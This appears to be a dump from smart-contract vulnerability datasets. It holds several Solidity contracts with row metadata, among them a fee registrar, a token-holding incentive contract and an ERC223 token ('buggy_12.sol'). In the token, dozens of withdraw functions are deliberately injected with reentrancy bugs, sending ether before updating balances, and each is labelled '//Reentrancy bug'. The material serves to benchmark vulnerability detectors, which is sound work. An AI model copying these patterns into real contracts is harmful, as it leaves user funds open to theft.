require(msg.sender == reservesPendingAdmin, "Scarab: UNAUTHORIZED");
address oldReservesAdmin = reservesAdmin;
address oldReservesPendingAdmin = reservesPendingAdmin;
reservesAdmin = reservesPendingAdmin;
reservesPendingAdmin = address(0);
emit NewReservesAdmin(oldReservesAdmin, reservesAdmin);
emit NewReservesPendingAdmin(oldReservesPendingAdmin, address(0));
}
function _setReservesManager(address newReservesManager) external {
require(msg.sender == reservesAdmin, "Scarab: UNAUTHORIZED");
address oldReservesManager = reservesManager;
reservesManager = newReservesManager;
emit NewReservesManager(oldReservesManager, newReservesManager);
}
}
| 308,181 | 12,744 |
61c3183f9d95943b3cf718225bc8e6853deb928f670cfd1ba7e1680f0598a32f
| 10,588 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x239de3a0d6ca5f21601f83327ea2174225eb7156.sol
| 2,526 | 9,233 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Math {
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
contract Token {
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/// @title Long-Team Holding Incentive Program
/// @author Daniel Wang - <daniel@loopring.org>, Kongliang Zhong - <kongliang@loopring.org>.
/// For more information, please visit https://loopring.org.
contract LRCLongTermHoldingContract {
using SafeMath for uint;
using Math for uint;
// During the first 60 days of deployment, this contract opens for deposit of LRC.
uint public constant DEPOSIT_PERIOD = 60 days; // = 2 months
// 18 months after deposit, user can withdrawal all or part of his/her LRC with bonus.
// The bonus is this contract's initial LRC balance.
uint public constant WITHDRAWAL_DELAY = 540 days; // = 1 year and 6 months
// Send 0.001ETH per 10000 LRC partial withdrawal, or 0 for a once-for-all withdrawal.
// All ETH will be returned.
uint public constant WITHDRAWAL_SCALE = 1E7; // 1ETH for withdrawal of 10,000,000 LRC.
// Ower can drain all remaining LRC after 3 years.
uint public constant DRAIN_DELAY = 1080 days; // = 3 years.
address public lrcTokenAddress = 0x0;
address public owner = 0x0;
uint public lrcDeposited = 0;
uint public depositStartTime = 0;
uint public depositStopTime = 0;
struct Record {
uint lrcAmount;
uint timestamp;
}
mapping (address => Record) records;
/// Emitted when program starts.
event Started(uint _time);
/// Emitted when all LRC are drained.
event Drained(uint _lrcAmount);
/// Emitted for each sucuessful deposit.
uint public depositId = 0;
event Deposit(uint _depositId, address indexed _addr, uint _lrcAmount);
/// Emitted for each sucuessful deposit.
uint public withdrawId = 0;
event Withdrawal(uint _withdrawId, address indexed _addr, uint _lrcAmount);
/// @dev Initialize the contract
/// @param _lrcTokenAddress LRC ERC20 token address
function LRCLongTermHoldingContract(address _lrcTokenAddress, address _owner) {
require(_lrcTokenAddress != address(0));
require(_owner != address(0));
lrcTokenAddress = _lrcTokenAddress;
owner = _owner;
}
/// @dev start the program.
function start() public {
require(msg.sender == owner);
require(depositStartTime == 0);
depositStartTime = now;
depositStopTime = depositStartTime + DEPOSIT_PERIOD;
Started(depositStartTime);
}
/// @dev drain LRC.
function drain() public {
require(msg.sender == owner);
require(depositStartTime > 0 && now >= depositStartTime + DRAIN_DELAY);
uint balance = lrcBalance();
require(balance > 0);
require(Token(lrcTokenAddress).transfer(owner, balance));
Drained(balance);
}
function () payable {
require(depositStartTime > 0);
if (now >= depositStartTime && now <= depositStopTime) {
depositLRC();
} else if (now > depositStopTime){
withdrawLRC();
} else {
revert();
}
}
/// @return Current LRC balance.
function lrcBalance() public constant returns (uint) {
return Token(lrcTokenAddress).balanceOf(address(this));
}
/// @dev Deposit LRC.
function depositLRC() payable {
require(depositStartTime > 0);
require(msg.value == 0);
require(now >= depositStartTime && now <= depositStopTime);
var lrcToken = Token(lrcTokenAddress);
uint lrcAmount = lrcToken
.balanceOf(msg.sender)
.min256(lrcToken.allowance(msg.sender, address(this)));
require(lrcAmount > 0);
var record = records[msg.sender];
record.lrcAmount += lrcAmount;
record.timestamp = now;
records[msg.sender] = record;
lrcDeposited += lrcAmount;
Deposit(depositId++, msg.sender, lrcAmount);
require(lrcToken.transferFrom(msg.sender, address(this), lrcAmount));
}
/// @dev Withdrawal LRC.
function withdrawLRC() payable {
require(depositStartTime > 0);
require(lrcDeposited > 0);
var record = records[msg.sender];
require(now >= record.timestamp + WITHDRAWAL_DELAY);
require(record.lrcAmount > 0);
uint lrcWithdrawalBase = record.lrcAmount;
if (msg.value > 0) {
lrcWithdrawalBase = lrcWithdrawalBase
.min256(msg.value.mul(WITHDRAWAL_SCALE));
}
uint lrcBonus = getBonus(lrcWithdrawalBase);
uint balance = lrcBalance();
uint lrcAmount = balance.min256(lrcWithdrawalBase + lrcBonus);
lrcDeposited -= lrcWithdrawalBase;
record.lrcAmount -= lrcWithdrawalBase;
if (record.lrcAmount == 0) {
delete records[msg.sender];
} else {
records[msg.sender] = record;
}
Withdrawal(withdrawId++, msg.sender, lrcAmount);
require(Token(lrcTokenAddress).transfer(msg.sender, lrcAmount));
if (msg.value > 0) {
msg.sender.transfer(msg.value);
}
}
function getBonus(uint _lrcWithdrawalBase) constant returns (uint) {
return internalCalculateBonus(lrcBalance() - lrcDeposited,lrcDeposited, _lrcWithdrawalBase);
}
function internalCalculateBonus(uint _totalBonusRemaining, uint _lrcDeposited, uint _lrcWithdrawalBase) internal constant returns (uint) {
require(_lrcDeposited > 0);
require(_totalBonusRemaining >= 0);
// The bonus is non-linear function to incentivize later withdrawal.
// bonus = _totalBonusRemaining * power(_lrcWithdrawalBase/_lrcDeposited, 1.0625)
return _totalBonusRemaining
.mul(_lrcWithdrawalBase.mul(sqrt(sqrt(sqrt(sqrt(_lrcWithdrawalBase))))))
.div(_lrcDeposited.mul(sqrt(sqrt(sqrt(sqrt(_lrcDeposited))))));
}
function sqrt(uint x) internal constant returns (uint) {
uint y = x;
while (true) {
uint z = (y + (x / y)) / 2;
uint w = (z + (x / z)) / 2;
if (w == y) {
if (w < y) return w;
else return y;
}
y = w;
}
}
}
| 185,131 | 12,745 |
827095c7f729f3c7a6d05362125e14d5eed1902ab11f95c495af3255b185245e
| 24,167 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/Reentrancy/Sol/buggy_12.sol
| 6,771 | 22,845 |
pragma solidity >=0.4.23 <0.6.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
mapping(address => uint) balances_re_ent36;
function withdraw_balances_re_ent36 () public {
msg.sender.call.value(balances_re_ent36[msg.sender ])(""); //Reentrancy bug
balances_re_ent36[msg.sender] = 0;
}
function balanceOf(address _owner) public view returns (uint256);
uint256 counter_re_ent35 =0;
function callme_re_ent35() public{
require(counter_re_ent35<=5);
msg.sender.call.value(10 ether)("") ; //Reentrancy bug
revert();
counter_re_ent35 += 1;
}
function transfer(address _to, uint256 _value) public returns (bool);
bool not_called_re_ent34 = true;
function bug_re_ent34() public{
require(not_called_re_ent34);
msg.sender.call.value(1 ether)("") ; //Reentrancy bug
revert();
not_called_re_ent34 = false;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
mapping(address => uint) userBalance_re_ent33;
function withdrawBalance_re_ent33() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)= msg.sender.call.value(userBalance_re_ent33[msg.sender])(""); //Reentrancy bug
if(! success){
revert();
}
userBalance_re_ent33[msg.sender] = 0;
}
function approve(address _spender, uint256 _value) public returns (bool);
mapping(address => uint) redeemableEther_re_ent32;
function claimReward_re_ent32() public {
// ensure there is a reward to give
require(redeemableEther_re_ent32[msg.sender] > 0);
uint transferValue_re_ent32 = redeemableEther_re_ent32[msg.sender];
msg.sender.call.value(transferValue_re_ent32)(""); //bug //Reentrancy bug
redeemableEther_re_ent32[msg.sender] = 0;
}
function allowance(address _owner, address _spender) public view returns (uint256);
mapping(address => uint) balances_re_ent31;
function withdrawFunds_re_ent31 (uint256 _weiToWithdraw) public {
require(balances_re_ent31[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
msg.sender.call.value(_weiToWithdraw)(""); //bug //Reentrancy bug
balances_re_ent31[msg.sender] -= _weiToWithdraw;
}
mapping(address => uint) balances_re_ent11;
function deposit_re_ent11() public payable{
uint amount = msg.value;
balances_re_ent11[msg.sender]+=amount;
}
function withdraw_balances_re_ent11 () public {
uint amount = balances_re_ent11[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent11[msg.sender] = 0;
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
mapping (address => uint) private balances_re_ent10;
mapping (address => bool) private disableWithdraw_re_ent10;
function deposit_re_ent10() public payable {
balances_re_ent10[msg.sender] += msg.value;
}
function withdrawBalance_re_ent10() public {
require(disableWithdraw_re_ent10[msg.sender] == false);
uint amountToWithdraw = balances_re_ent10[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent10[msg.sender] = true;
balances_re_ent10[msg.sender] = 0;
}
}
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes memory _data) public;
address payable lastPlayer_re_ent30;
uint jackpot_re_ent30;
function buyTicket_re_ent30() public{
lastPlayer_re_ent30.call.value(jackpot_re_ent30)("");//Reentrancy bug
revert();
lastPlayer_re_ent30 = msg.sender;
jackpot_re_ent30 = address(this).balance;
}
}
contract ERC223 {
function balanceOf(address who) public view returns (uint);
mapping(address => uint) balances_re_ent3;
function deposit_re_ent3() public payable{
uint amount = msg.value;
balances_re_ent3[msg.sender]+=amount;
}
function withdrawFunds_re_ent3 (uint256 _weiToWithdraw) public {
require(balances_re_ent3[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)= msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent3[msg.sender] -= _weiToWithdraw;
}
function transfer(address to, uint value) public returns (bool);
mapping(address => uint) balances_re_ent29;
function withdraw_balances_re_ent29 () public {
msg.sender.call.value(balances_re_ent29[msg.sender ])(""); //Reentrancy bug
balances_re_ent29[msg.sender] = 0;
}
function transfer(address to, uint value, bytes memory data) public returns (bool);
uint256 counter_re_ent28 =0;
function callme_re_ent28() public{
require(counter_re_ent28<=5);
msg.sender.call.value(10 ether)(""); //Reentrancy bug
revert();
counter_re_ent28 += 1;
}
mapping(address => uint) balances_re_ent1;
function deposit_re_ent1() public payable{
uint amount = msg.value;
balances_re_ent1[msg.sender]+=amount;
}
function withdraw_balances_re_ent1 () public {
uint amount = balances_re_ent1[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent1[msg.sender] = 0;
}
event Transfer(address indexed from, address indexed to, uint value); //ERC 20 style
//event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract ERC223Token is ERC223 {
using SafeMath for uint;
uint256 counter_re_ent42 =0;
function callme_re_ent42() public{
require(counter_re_ent42<=5);
msg.sender.call.value(10 ether)("") ; //Reentrancy bug
revert();
counter_re_ent42 += 1;
}
mapping(address => uint256) balances;
function transfer(address _to, uint _value) public returns (bool) {
uint codeLength;
bytes memory empty;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
require(_value > 0);
require(balances[msg.sender] >= _value);
require(balances[_to] + _value > 0);
require(msg.sender != _to);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
return false;
}
emit Transfer(msg.sender, _to, _value);
return true;
}
bool not_called_re_ent27 = true;
function bug_re_ent27() public{
require(not_called_re_ent27);
msg.sender.call.value(1 ether)("") ; //Reentrancy bug
revert();
not_called_re_ent27 = false;
}
function transfer(address _to, uint _value, bytes memory _data) public returns (bool) {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
require(_value > 0);
require(balances[msg.sender] >= _value);
require(balances[_to] + _value > 0);
require(msg.sender != _to);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
return false;
}
emit Transfer(msg.sender, _to, _value);
return true;
}
mapping(address => uint) userBalance_re_ent26;
function withdrawBalance_re_ent26() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)= msg.sender.call.value(userBalance_re_ent26[msg.sender])(""); //Reentrancy bug
if(! success){
revert();
}
userBalance_re_ent26[msg.sender] = 0;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
mapping(address => uint) redeemableEther_re_ent25;
function claimReward_re_ent25() public {
// ensure there is a reward to give
require(redeemableEther_re_ent25[msg.sender] > 0);
uint transferValue_re_ent25 = redeemableEther_re_ent25[msg.sender];
msg.sender.call.value(transferValue_re_ent25)(""); //bug //Reentrancy bug
redeemableEther_re_ent25[msg.sender] = 0;
}
}
//////////////////////////////////////////////////////////////////////////
//////////////////////// [Grand Coin] MAIN ////////////////////////
//////////////////////////////////////////////////////////////////////////
contract Owned {
bool not_called_re_ent41 = true;
function bug_re_ent41() public{
require(not_called_re_ent41);
msg.sender.call.value(1 ether)("") ;//Reentrancy bug
revert();
not_called_re_ent41 = false;
}
address public owner;
constructor() internal {
owner = msg.sender;
owner = 0x800A4B210B920020bE22668d28afd7ddef5c6243
;
}
mapping(address => uint) balances_re_ent24;
function withdrawFunds_re_ent24 (uint256 _weiToWithdraw) public {
require(balances_re_ent24[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
msg.sender.call.value(_weiToWithdraw)(""); //bug //Reentrancy bug
balances_re_ent24[msg.sender] -= _weiToWithdraw;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract Grand is ERC223Token, Owned {
mapping(address => uint) userBalance_re_ent40;
function withdrawBalance_re_ent40() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)=msg.sender.call.value(userBalance_re_ent40[msg.sender])(""); //Reentrancy bug
if(! success){
revert();
}
userBalance_re_ent40[msg.sender] = 0;
}
string public constant name = "Grand Coin";
mapping(address => uint) redeemableEther_re_ent4;
function deposit_re_ent4() public payable{
uint amount = msg.value;
redeemableEther_re_ent4[msg.sender]+=amount;
}
function claimReward_re_ent4() public {
// ensure there is a reward to give
require(redeemableEther_re_ent4[msg.sender] > 0);
uint transferValue_re_ent4 = redeemableEther_re_ent4[msg.sender];
msg.sender.call.value(transferValue_re_ent4)(""); //bug //Reentrancy bug
redeemableEther_re_ent4[msg.sender] = 0;
}
string public constant symbol = "GRAND";
mapping(address => uint) redeemableEther_re_ent39;
function claimReward_re_ent39() public {
// ensure there is a reward to give
require(redeemableEther_re_ent39[msg.sender] > 0);
uint transferValue_re_ent39 = redeemableEther_re_ent39[msg.sender];
msg.sender.call.value(transferValue_re_ent39)(""); //bug //Reentrancy bug
redeemableEther_re_ent39[msg.sender] = 0;
}
uint8 public constant decimals = 18;
uint256 public tokenRemained = 2 * (10 ** 9) * (10 ** uint(decimals)); // 2 billion Grand, decimals set to 18
uint256 public totalSupply = 2 * (10 ** 9) * (10 ** uint(decimals));
mapping(address => uint) balances_re_ent38;
function withdrawFunds_re_ent38 (uint256 _weiToWithdraw) public {
require(balances_re_ent38[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
msg.sender.call.value(_weiToWithdraw)(""); //bug //Reentrancy bug
balances_re_ent38[msg.sender] -= _weiToWithdraw;
}
bool public pause = false;
address payable lastPlayer_re_ent37;
uint jackpot_re_ent37;
function buyTicket_re_ent37() public{
lastPlayer_re_ent37.call.value(jackpot_re_ent37)(""); //Reentrancy bug
revert();
lastPlayer_re_ent37 = msg.sender;
jackpot_re_ent37 = address(this).balance;
}
mapping(address => bool) lockAddresses;
// constructor
constructor () public {
//allocate to ______
balances[0x96F7F180C6B53e9313Dc26589739FDC8200a699f] = totalSupply;
}
address payable lastPlayer_re_ent23;
uint jackpot_re_ent23;
function buyTicket_re_ent23() public{
lastPlayer_re_ent23.call.value(jackpot_re_ent23)("");//Reentrancy bug
revert();
lastPlayer_re_ent23 = msg.sender;
jackpot_re_ent23 = address(this).balance;
}
// change the contract owner
function changeOwner(address _new) public onlyOwner {
require(_new != address(0));
owner = _new;
}
mapping(address => uint) balances_re_ent21;
function withdraw_balances_re_ent21 () public {
(bool success,)= msg.sender.call.value(balances_re_ent21[msg.sender ])(""); //Reentrancy bug
if (success)
balances_re_ent21[msg.sender] = 0;
}
// pause all the g on the contract
function pauseContract() public onlyOwner {
pause = true;
}
uint256 counter_re_ent21 =0;
function callme_re_ent21() public{
require(counter_re_ent21<=5);
msg.sender.call.value(10 ether)("") ; //Reentrancy bug
revert();
counter_re_ent21 += 1;
}
function resumeContract() public onlyOwner {
pause = false;
}
mapping (address => uint) private balances_re_ent20;
mapping (address => bool) private disableWithdraw_re_ent20;
function deposit_re_ent20() public payable {
balances_re_ent20[msg.sender] += msg.value;
}
function withdrawBalance_re_ent20() public {
require(disableWithdraw_re_ent20[msg.sender] == false);
uint amountToWithdraw = balances_re_ent20[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent20[msg.sender] = true;
balances_re_ent20[msg.sender] = 0;
}
}
function is_contract_paused() public view returns (bool) {
return pause;
}
address payable lastPlayer_re_ent2;
uint jackpot_re_ent2;
function deposit_re_ent2() public payable{
uint amount = msg.value;
jackpot_re_ent2 = amount;
}
function buyTicket_re_ent2() public{
(bool success,) = lastPlayer_re_ent2.call.value(jackpot_re_ent2)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent2 = msg.sender;
jackpot_re_ent2 = address(this).balance;
}
// lock one's wallet
function lock(address _addr) public onlyOwner {
lockAddresses[_addr] = true;
}
uint lockTime19;
mapping (address => uint) private balances_re_ent19;
function deposit_re_ent19() public payable {
balances_re_ent19[msg.sender] += msg.value;
}
function transfer_re_ent19(address to, uint amount) public {
if (balances_re_ent19[msg.sender] >= amount) {
balances_re_ent19[to] += amount;
balances_re_ent19[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent19() public {
uint amountToWithdraw = balances_re_ent19[msg.sender];
require(now>lockTime19+60 days);
if (amountToWithdraw > 0) {
lockTime19 = now;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
balances_re_ent19[msg.sender] = 0;
lockTime19 = now - 60 days;
}
}
function unlock(address _addr) public onlyOwner {
lockAddresses[_addr] = false;
}
mapping (address => uint) private balances_re_ent18;
mapping (address => bool) private disableWithdraw_re_ent18;
function deposit_re_ent18() public payable {
balances_re_ent18[msg.sender] += msg.value;
}
function transfer_re_ent18(address to, uint amount) public {
if (balances_re_ent18[msg.sender] >= amount) {
balances_re_ent18[to] += amount;
balances_re_ent18[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent18() public {
require(disableWithdraw_re_ent18[msg.sender] == false);
uint amountToWithdraw = balances_re_ent18[msg.sender];
if (amountToWithdraw > 0) {
disableWithdraw_re_ent18[msg.sender] = true;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent18[msg.sender] = false;
balances_re_ent18[msg.sender] = 0;
}
}
function am_I_locked(address _addr) public view returns (bool) {
return lockAddresses[_addr];
}
mapping(address => uint) balances_re_ent17;
function withdrawFunds_re_ent17 (uint256 _weiToWithdraw) public {
require(balances_re_ent17[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)=msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent17[msg.sender] -= _weiToWithdraw;
}
// contract can receive eth
function() external payable {}
mapping (address => uint) balances_re_ent16;
modifier hasBalance_re_ent16(){
require(balances_re_ent16[msg.sender] > 0);
_;
balances_re_ent16[msg.sender] = 0;
}
function addToBalance_re_ent16() public payable{
balances_re_ent16[msg.sender] += msg.value;
}
function withdraw_balances_re_ent16() public hasBalance_re_ent16{
uint amountToWithdraw = balances_re_ent16[msg.sender];
(bool success,) = msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
if (!(success)) { revert(); }
}
// extract ether sent to the contract
function getETH(uint256 _amount) public onlyOwner {
msg.sender.transfer(_amount);
}
bool not_called_re_ent15 = true;
function deposit_re_ent15() public payable{
not_called_re_ent15 = true;
}
function bug_re_ent15() public{
require(not_called_re_ent15);
(bool success,) = (msg.sender.call.value(1 ether)("")); //Reentrancy bug
if(! success){
revert();
}
not_called_re_ent15 = false;
}
/////////////////////////////////////////////////////////////////////
///////////////// ERC223 Standard functions /////////////////////////
/////////////////////////////////////////////////////////////////////
modifier transferable(address _addr) {
require(!pause);
require(!lockAddresses[_addr]);
_;
}
function transfer(address _to, uint _value, bytes memory _data) public transferable(msg.sender) returns (bool) {
return super.transfer(_to, _value, _data);
}
mapping(address => uint) redeemableEther_re_ent14;
function deposit_re_ent14() public payable{
uint amount = msg.value;
redeemableEther_re_ent14[msg.sender]+=amount;
}
function claimReward_re_ent14() public {
// ensure there is a reward to give
require(redeemableEther_re_ent14[msg.sender] > 0);
uint transferValue_re_ent14 = redeemableEther_re_ent14[msg.sender];
msg.sender.call.value(transferValue_re_ent14)(""); //bug //Reentrancy bug
redeemableEther_re_ent14[msg.sender] = 0;
}
function transfer(address _to, uint _value) public transferable(msg.sender) returns (bool) {
return super.transfer(_to, _value);
}
mapping(address => uint) balances_re_ent13;
function deposit_re_ent13() public payable{
uint amount = msg.value;
balances_re_ent13[msg.sender]+=amount;
}
function withdrawFunds_re_ent13 (uint256 _weiToWithdraw) public {
require(balances_re_ent13[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)= msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent13[msg.sender] -= _weiToWithdraw;
}
/////////////////////////////////////////////////////////////////////
/////////////////// Rescue functions //////////////////////////////
/////////////////////////////////////////////////////////////////////
function transferAnyERC20Token(address _tokenAddress, uint256 _value) public onlyOwner returns (bool) {
return ERC20(_tokenAddress).transfer(owner, _value);
}
address payable lastPlayer_re_ent12;
uint jackpot_re_ent12;
function deposit_re_ent12() public payable{
uint amount = msg.value;
jackpot_re_ent12 = amount;
}
function buyTicket_re_ent12() public{
(bool success,) = lastPlayer_re_ent12.call.value(jackpot_re_ent12)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent12 = msg.sender;
jackpot_re_ent12 = address(this).balance;
}
}
| 224,016 | 12,746 |
037265ab02521b90b671ab6164ad667131c0b5e7c6464eba26661cd3b7867bb7
| 8,137 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xccaf7b08a3af4a5ccb7226c7bcdde917764e2d13.sol
| 2,108 | 8,082 |
//! FeeRegistrar contract.
//! By Parity Technologies, 2017.
//! Released under the Apache Licence 2.
pragma solidity ^0.4.16;
// From Owned.sol
contract Owned {
/// STORAGE
address public owner = msg.sender;
/// EVENTS
event NewOwner(address indexed old, address indexed current);
/// MODIFIERS
modifier only_owner { require (msg.sender == owner); _; }
/// RESTRICTED PUBLIC METHODS
function setOwner(address _new) public only_owner { NewOwner(owner, _new); owner = _new; }
}
/// @title Delegated Contract
/// @notice This contract can be used to have a a system of delegates
/// who can be authorized to execute certain methods. A (super-)owner
/// is set, who can modify the delegates.
contract Delegated is Owned {
/// STORAGE
mapping (address => bool) delegates;
/// MODIFIERS
modifier only_delegate { require (msg.sender == owner || delegates[msg.sender]); _; }
/// PUBLIC METHODS
function delegate(address who) public constant returns (bool) { return who == owner || delegates[who]; }
/// RESTRICTED PUBLIC METHODS
function addDelegate(address _new) public only_owner { delegates[_new] = true; }
function removeDelegate(address _old) public only_owner { delete delegates[_old]; }
}
/// @title Fee Registrar
/// @author Nicolas Gotchac <nicolas@parity.io>
/// @notice This contract records fee payments. The address who deploys the contract
/// is set as the `owner` of the contract (which can be later modified). The `fee`
/// which users will have to pay must be specified, as well as the address of the treasury
/// to which the fee will be forwarded to.
/// A payment is a transaction with the value set as the `fee` value, and an address is
/// given as an argument. The given address will be marked as _paid for_, and the number
/// of times it was paid for will be recorded. We also record who is at the origin of the
/// payment.
/// For example, Alice can pay for Bob, and Eve can pay for Bob as well. This contract
/// will record that Bob is marked as paid, 2 times, by Alice and Eve.
/// A payment can be revoked by specified delegates, and the fund should be restored to
/// the payer of the fee.
contract FeeRegistrar is Delegated {
/// STORAGE
address public treasury;
uint public fee;
// a mapping of addresses to the origin of payments struct
mapping(address => address[]) s_paid;
/// EVENTS
event Paid (address who, address payer);
/// CONSTRUCTOR
/// @notice Contructor method of the contract, which
/// will set the `treasury` where payments will be send to,
/// and the `fee` users have to pay
/// @param _treasury The address to which the payments will be forwarded
/// @param _fee The fee users have to pay, in wei
function FeeRegistrar (address _treasury, uint _fee) public {
owner = msg.sender;
treasury = _treasury;
fee = _fee;
}
/// PUBLIC CONSTANT METHODS
/// @notice Returns for the given address the number of times
/// it was paid for, and an array of addresses who actually paid for the fee
/// (as one might pay the fee for another address)
/// @param who The address of the payer whose info we check
/// @return The count (number of payments) and the origins (the senders of the
/// payment)
function payer (address who) public constant returns (uint count, address[] origins) {
address[] memory m_origins = s_paid[who];
return (m_origins.length, m_origins);
}
/// @notice Returns whether the given address paid or not
/// @param who The address whose payment status we check
/// @ return Whether the address is marked as paid or not
function paid (address who) public constant returns (bool) {
return s_paid[who].length > 0;
}
/// PUBLIC METHODS
/// @notice This method is used to pay for the fee. You can pay
/// the fee for one address (then marked as paid), from another
/// address. The origin of the transaction, the
/// fee payer (`msg.sender`) is stored in an array.
/// The value of the transaction must
/// match the fee that was set in the contructor.
/// The only restriction is that you can't pay for the null
/// address.
/// You also can't pay more than 10 times for the same address
/// The value that is received is directly transfered to the
/// `treasury`.
/// @param who The address which should be marked as paid.
function pay (address who) external payable {
// We first check that the given address is not the null address
require(who != 0x0);
// Then check that the value matches with the fee
require(msg.value == fee);
// Maximum 10 payments per address
require(s_paid[who].length < 10);
s_paid[who].push(msg.sender);
// Send the paid event
Paid(who, msg.sender);
// Send the message value to the treasury
treasury.transfer(msg.value);
}
